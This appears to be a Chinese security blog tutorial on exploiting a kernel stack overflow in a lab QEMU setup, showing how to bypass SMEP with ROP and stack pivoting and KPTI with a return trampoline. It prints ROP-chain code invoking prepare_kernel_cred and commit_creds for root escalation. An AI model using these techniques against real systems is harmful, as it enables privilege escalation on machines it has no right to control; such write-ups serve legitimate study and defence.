点击上方蓝字 关注我吧

介绍

smep是在进入内核的时候用户态的代码不可执行,
通过设置CR4寄存器的第20位实现的。在启动时,它可以通过添加+smep到
-cpu选项来启用,通过添加
nosmep到
-append`选项来禁用。
内核缓冲区溢出1的利用是让内核模块函数返回到用户的空间,这段空间布置了写好的shellcode。开启smep之后这种方法将不可行。

测试

修改run.sh添加smep保护之后内核缓冲区溢出1的exp将会失败
-s
-m 128M
-cpu kvm64,+smep
-kernel vmlinuz
-initrd initramfs.cpio.gz
-hdb flag.txt
-snapshot
-nographic
-monitor /dev/null
-no-reboot
-append "console=ttyS0 nokaslr nopti nosmap quiet panic=1"
/
[ ] Saved state
[ ] Opened device
[160 bytes ] Leaked
[31a7d9e245f69600 ] Cookie:
[payload ] Prepared
[unable to execute userspace code (SMEP?) (uid: 0) ]
[ 10.566294] BUG: unable to handle page fault for address: 0000000000401fd9
[ 10.566591] #PF: supervisor instruction fetch in kernel mode
[ 10.566884] #PF: error_code(0x0011) - permissions violation
[ 10.567371] PGD 5918067 P4D 5918067 PUD 5979067 PMD 5977067 PTE 7aa2025
对应出错地址为跳转到用户态代码的shellcode。类似NX,smep达到的效果就是shellcode不可执行。
一种方法是用rop修改cr4,然后跳转到用户空间,构造rop链如下
payload[off++] = pop_rdi_ret; // return address
payload[off++] = 0x6f0;
payload[off++] = native_write_cr4; // native_write_cr4(0x6f0), effectively clear the 20th bit
payload[off++] = (unsigned long)escalate_privs;
但是实际上现在的内核版本不允许修改cr4,下面链接写的比较详细
https://patchwork.kernel.org/project/kernel-hardening/patch/20190220180934.GA46255@beast/

普通利用

不能执行shellcode需要使用rop执行想要的函数。实际调试过程中有些rop不能用,目前没有好的解决方案【待补充】。
作者提供了一些rop可以用。利用方式和x86下的基本一致

栈迁移

补充栈迁移,用mmap映射一段空间布置好获取权限的rop,使用rop控制rsp跳转到申请的空间执行前面布置的rop。
如图,需要给rop链中调用的函数预留空间,申请空间之后在第一次访问的时候才会把页面插入也表所以需要先随意填充一些数据。
fake_stack = mmap((void *)0x5b000000 - 0x1000, 0x2000, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_ANONYMOUS|MAP_PRIVATE|MAP_FIXED, -1, 0);
unsigned off = 0x1000 / 8;
fake_stack[0] = 0xdead; // put something in the first page to prevent fault
fake_stack[off++] = 0x0; // dummy r12
fake_stack[off++] = 0x0; // dummy rbp
fake_stack[off++] = pop_rdi_ret;
···

kpti保护

修改run.sh,开启kpti(关于kpti参考https://blog.csdn.net/pwl999/article/details/112686914)
-s
-m 128M
-cpu kvm64,+smep
-kernel vmlinuz
-initrd initramfs.cpio.gz
-hdb flag.txt
-snapshot
-nographic
-monitor /dev/null
-no-reboot
-append "console=ttyS0 nokaslr kpti=1 nosmap quiet panic=1"
kpti是分离函数user-space
和kernel-space
全页表,而不是只使用一个集合,最直观的体现是之执行"swapgs;iret"指令不能返回到用户态。还需要设置cr3寄存器。
mov rdi, cr3
or rdi, 1000h
mov cr3, rdi
payload如下,返回用户态的部分在kpti_trampoline开始。
swapgs_restore_regs_and_return_to_usermode + 22
作为kpti_trampoline的地址(对应指令为.text:FFFFFFFF81200F26 mov rdi, rsp
)这段rop包含了两个多余的pop(需要在后面填充两个0),包含swapgs,修改cr3,iretq。
vmlinux没有函数名,需要找到rop的位置。可以通过查看符号表获得cat /proc/kallsyms |grep swapgs_restore_regs_and_return_to_usermode
。
unsigned n=50;
unsigned long payload[n];
unsigned off=16;
payload[off++]=cookie;
payload[off++]=0x0;
payload[off++]=0x0;
payload[off++]=0x0;
// payload[off++]=pop_rdi_ret;
// payload[off++]=0x0;
payload[off++] = pop_rdi_ret; // return address
payload[off++] = 0x0; // rdi <- 0
payload[off++] = prepare_kernel_cred; // prepare_kernel_cred(0)
payload[off++] = pop_rdx_ret;
payload[off++] = 0x8; // rdx <- 8
payload[off++] = cmp_rdx_jne_pop2_ret; // make sure JNE doesn't branch
payload[off++] = 0x0; // dummy rbx
payload[off++] = 0x0; // dummy rbp
payload[off++] = mov_rdi_rax_jne_pop2_ret; // rdi <- rax
payload[off++] = 0x0; // dummy rbx
payload[off++] = 0x0; // dummy rbp
// payload[off++] = commit_creds; // commit_creds(prepare_kernel_cred(0))
payload[off++] = commit_creds; // commit_creds(prepare_kernel_cred(0))
payload[off++] = kpti_trampoline; // swapgs_restore_regs_and_return_to_usermode + 22
payload[off++] = 0x0; // dummy rax
payload[off++] = 0x0; // dummy rdi
payload[off++] = user_rip;
payload[off++] = user_cs;
payload[off++] = user_rflags;
payload[off++] = user_sp;
payload[off++] = user_ss;
payload[off++]=mov_esp_pop2_ret;
注意:开启了kpti实际上栈迁移到用户mmap的空间也是可以访问的(按照kpti的说法这段空间是不是不能访问)。【待补充】
在开启KPTI内核,提权返回到用户态(iretq/sysret)之前如果不设置CR3寄存器的值,就会导致进程找不到当前程序的正确页表,引发段错误,程序退出。
原创 | web中间件安全-Tomcat漏洞复现
原创 | web服务框架安全-ThinkPHP漏洞复现
原创 | tkMybatis中常见的注入场景

- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论